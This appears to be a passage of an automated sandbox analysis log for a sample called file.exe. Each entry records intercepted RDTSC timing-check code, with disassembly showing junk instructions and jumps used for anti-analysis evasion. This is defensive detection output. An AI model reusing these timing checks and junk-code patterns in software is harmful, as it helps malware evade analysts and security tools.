Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8007BE second address: 8007DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F76A540C8DAh 0x0000000b jmp 00007F76A540C8DAh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8007DB second address: 8007E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800941 second address: 800955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76A540C8DEh 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800C27 second address: 800C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76A4C93C1Ch 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d jnp 00007F76A4C93C16h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800C42 second address: 800C47 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803EDA second address: 803EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 jg 00007F76A4C93C16h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803EEA second address: 803EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803EEF second address: 803F07 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F76A4C93C1Eh 0x00000008 jo 00007F76A4C93C1Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8041A8 second address: 8041AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8041AC second address: 8041B1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8041B1 second address: 8041F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007F76A540C8E7h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jbe 00007F76A540C8F4h 0x00000014 jmp 00007F76A540C8E8h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8041F0 second address: 8041FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E624 second address: 77E63C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F76A540C8E0h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8067A9 second address: 8067B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F76A4C93C16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809EFD second address: 809F19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A540C8DBh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F76A540C8D6h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A029 second address: 80A02F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E6C2 second address: 80E6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E6C8 second address: 80E6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E7F6 second address: 80E7FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E7FA second address: 80E811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F76A4C93C16h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EA72 second address: 80EA87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76A540C8E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAE33 second address: 7BAE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F76A4C93C16h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAE45 second address: 7BAEB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A540C8E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F76A540C8D8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov ebx, dword ptr [ebp+1247BE86h] 0x0000002b adc di, 7FAEh 0x00000030 add eax, ebx 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007F76A540C8D8h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jnp 00007F76A540C8D6h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAEB7 second address: 7BAEBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAEBB second address: 7BAEC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EEC3 second address: 80EEC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812D2E second address: 812D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jns 00007F76A540C8DCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812D41 second address: 812D46 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812EAC second address: 812ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F76A540C8E1h 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F76A540C8D8h 0x00000013 jmp 00007F76A540C8DAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812ED7 second address: 812EDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812EDD second address: 812EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812EE1 second address: 812EE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8131BE second address: 8131D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F76A540C8D6h 0x0000000a jmp 00007F76A540C8DCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813444 second address: 813448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813448 second address: 81344C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A8CB second address: 81A8D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81ABF9 second address: 81ABFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AECD second address: 81AEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76A4C93C27h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F76A4C93C16h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AEF3 second address: 81AEF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B4C0 second address: 81B4C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B791 second address: 81B79B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81BE0F second address: 81BE31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F76A4C93C28h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C11F second address: 81C123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C408 second address: 81C422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76A4C93C22h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C422 second address: 81C427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C427 second address: 81C42D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C42D second address: 81C431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F5B8 second address: 81F5D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F76A4C93C22h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F5D3 second address: 81F5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FDA1 second address: 81FDA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FDA9 second address: 81FDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F76A540C8E8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FDC8 second address: 81FDDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A4C93C1Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820095 second address: 8200AE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F76A540C8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F76A540C8DCh 0x00000013 jnp 00007F76A540C8D6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824A57 second address: 824A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824A5F second address: 824A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F76A540C8E2h 0x0000000b jno 00007F76A540C8D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AC3E second address: 82AC42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AC42 second address: 82AC4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AC4C second address: 82AC50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AC50 second address: 82AC5A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F76A540C8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AC5A second address: 82AC61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B329 second address: 82B32F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B32F second address: 82B333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B333 second address: 82B349 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F76A540C8E2h 0x0000000e jne 00007F76A540C8D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833663 second address: 833669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833669 second address: 8336A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jp 00007F76A540C8D6h 0x0000000c jmp 00007F76A540C8E6h 0x00000011 pop ecx 0x00000012 jmp 00007F76A540C8E3h 0x00000017 popad 0x00000018 push edi 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8336A4 second address: 8336AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8406D3 second address: 8406EF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F76A540C8DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F76A540C8DAh 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8406EF second address: 8406F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844EB7 second address: 844EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F76A540C8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853849 second address: 85384F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85384F second address: 85385B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jo 00007F76A540C8D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85385B second address: 853874 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jns 00007F76A4C93C16h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853874 second address: 85387A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C0A1 second address: 85C0F5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pushad 0x0000000d jmp 00007F76A4C93C26h 0x00000012 jmp 00007F76A4C93C29h 0x00000017 jmp 00007F76A4C93C1Dh 0x0000001c popad 0x0000001d popad 0x0000001e push ebx 0x0000001f jng 00007F76A4C93C1Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A9E2 second address: 85A9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A9E8 second address: 85A9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A9EC second address: 85AA0E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F76A540C8D6h 0x00000008 jmp 00007F76A540C8E5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AB72 second address: 85AB97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A4C93C21h 0x00000007 jmp 00007F76A4C93C1Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AE35 second address: 85AE43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AE43 second address: 85AE47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AF83 second address: 85AF87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B116 second address: 85B12D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F76A4C93C1Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B12D second address: 85B13D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F76A540C8D6h 0x00000008 jno 00007F76A540C8D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B2D0 second address: 85B2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B2D5 second address: 85B2E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007F76A540C8D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B2E0 second address: 85B306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F76A4C93C1Ch 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jnp 00007F76A4C93C1Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BD9B second address: 85BD9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BD9F second address: 85BDBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F76A4C93C28h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FCA1 second address: 85FCA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FCA5 second address: 85FCC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A4C93C1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F76A4C93C22h 0x0000000f jl 00007F76A4C93C16h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F861 second address: 85F86A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F86A second address: 85F86E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F86E second address: 85F884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76A540C8DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E3F4 second address: 86E40F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76A4C93C26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E783 second address: 87E787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E787 second address: 87E78D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EACC second address: 88EAD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EAD0 second address: 88EAD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88ED6B second address: 88ED7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007F76A540C8D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
